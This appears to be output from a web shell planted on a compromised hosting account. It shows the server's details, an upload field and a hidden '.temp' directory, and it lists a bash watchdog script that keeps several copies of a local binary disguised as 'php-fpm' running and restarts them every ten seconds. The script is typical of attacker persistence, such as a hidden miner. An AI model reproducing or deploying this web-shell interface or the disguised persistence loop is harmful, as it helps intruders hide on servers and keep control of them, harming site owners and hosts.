| Server IP : 185.21.40.28 / Your IP : 216.73.216.56 Web Server : LiteSpeed System : Linux vm1413.enterprisecloud.nu 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64 User : tore-bors ( 10318) PHP Version : 8.3.32 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/store-bors.dk/.temp/ |
Upload File : |
#!/bin/bash
PROCESS_MATCH="\.\/php-fpm"
PROCESS="./php-fpm"
INSTANCES=$1
PIDDIR="/tmp/php-fpm.pid"
INTERVAL=10
mkdir -p "$PIDDIR"
while true; do
PIDS=$(pgrep -f "$PROCESS_MATCH" | grep -v $$)
RUNNING=0
rm -f "$PIDDIR"/*
for pid in $PIDS; do
RUNNING=$((RUNNING + 1))
echo "$pid" > "$PIDDIR/$pid.pid"
done
if [ "$RUNNING" -lt "$INSTANCES" ]; then
TO_START=$((INSTANCES - RUNNING))
for i in $(seq 1 "$TO_START"); do
"$PROCESS"
sleep 1
done
fi
sleep "$INTERVAL"
done